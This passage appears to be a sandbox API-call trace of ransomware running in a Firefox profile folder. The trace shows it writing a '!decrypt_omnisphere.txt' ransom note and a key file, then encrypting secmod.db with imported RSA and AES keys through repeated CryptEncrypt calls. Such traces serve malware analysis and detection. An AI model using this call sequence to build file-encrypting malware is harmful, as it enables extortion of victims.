"c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0161.328] WriteFile (in: hFile=0x288, lpBuffer=0x1739138*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x1739138*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0161.328] CloseHandle (hObject=0x288) returned 1 [0161.329] GetProcessHeap () returned 0x1600000 [0161.329] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1747e28 | out: hHeap=0x1600000) returned 1 [0161.329] GetProcessHeap () returned 0x1600000 [0161.329] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162bdd8 [0161.329] PathCombineW (in: pszDest=0x162bdd8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" [0161.329] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0161.329] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0161.329] CloseHandle (hObject=0x288) returned 1 [0161.329] GetProcessHeap () returned 0x1600000 [0161.329] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162bdd8 | out: hHeap=0x1600000) returned 1 [0161.329] GetProcessHeap () returned 0x1600000 [0161.329] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c6c8 | out: hHeap=0x1600000) returned 1 [0161.329] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe5f9955, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe5f9955, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfe645e15, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0xcc, cFileName="secmod.db", cAlternateFileName="")) returned 1 [0161.329] GetProcessHeap () returned 0x1600000 [0161.330] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb6) returned 0x172de48 [0161.330] PathCombineW (in: pszDest=0x172de48, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="secmod.db" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\secmod.db") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\secmod.db" [0161.330] StrStrW (lpFirst=".omnisphere", lpSrch=".db") returned 0x0 [0161.330] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\secmod.db" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\secmod.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0161.330] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=16384) returned 1 [0161.330] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x3adc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0161.330] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0161.332] GetTickCount () returned 0x116812e [0161.332] GetTickCount () returned 0x116812e [0161.332] GetTickCount () returned 0x116812e [0161.332] GetTickCount () returned 0x116812e [0161.332] GetTickCount () returned 0x116812e [0161.332] GetTickCount () returned 0x116812e [0161.332] GetTickCount () returned 0x116812e [0161.332] GetTickCount () returned 0x116812e [0161.332] GetTickCount () returned 0x116812e [0161.332] GetTickCount () returned 0x116812e [0161.332] GetTickCount () returned 0x116812e [0161.332] GetTickCount () returned 0x116812e [0161.332] GetTickCount () returned 0x116812e [0161.332] GetTickCount () returned 0x116812e [0161.332] GetTickCount () returned 0x116812e [0161.332] GetTickCount () returned 0x116812e [0161.332] GetTickCount () returned 0x116812e [0161.332] GetTickCount () returned 0x116812e [0161.332] GetTickCount () returned 0x116812e [0161.332] GetTickCount () returned 0x116812e [0161.332] GetTickCount () returned 0x116812e [0161.332] GetTickCount () returned 0x116812e [0161.332] GetTickCount () returned 0x116812e [0161.332] GetTickCount () returned 0x116812e [0161.333] GetTickCount () returned 0x116812e [0161.333] GetTickCount () returned 0x116812e [0161.333] GetTickCount () returned 0x116812e [0161.333] GetTickCount () returned 0x116812e [0161.333] GetTickCount () returned 0x116812e [0161.333] GetTickCount () returned 0x116812e [0161.333] GetTickCount () returned 0x116812e [0161.333] GetTickCount () returned 0x116812e [0161.333] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1668708) returned 1 [0161.333] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639868) returned 1 [0161.333] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0161.334] CryptDestroyKey (hKey=0x1639868) returned 1 [0161.334] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0161.334] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4000, lpName=0x0) returned 0x3c0 [0161.334] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4000) returned 0x1480000 [0161.335] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x16691a8) returned 1 [0161.335] CryptImportKey (in: hProv=0x16691a8, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639628) returned 1 [0161.335] CryptSetKeyParam (hKey=0x1639628, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0161.336] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0161.336] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.336] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.336] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.336] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.336] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.336] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.336] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.336] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.336] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.336] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.336] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.336] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.336] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.336] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.336] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.336] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.336] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.336] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.336] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.336] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.337] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.337] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.337] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.337] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.337] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.337] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.337] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.337] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.337] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.337] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.337] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.337] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.337] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.337] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.337] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.337] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.337] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.337] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.337] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.337] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.337] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.337] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.337] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.338] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.338] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.338] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.338] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.338] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.338] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.338] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.338] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.338] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.338] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.338] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.338] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.338] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.338] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.338] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.338] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.338] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.338] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.338] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.338] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.338] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.338] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.339] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.339] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.339] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.339] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.339] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.339] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.339] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.339] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.339] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.339] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, 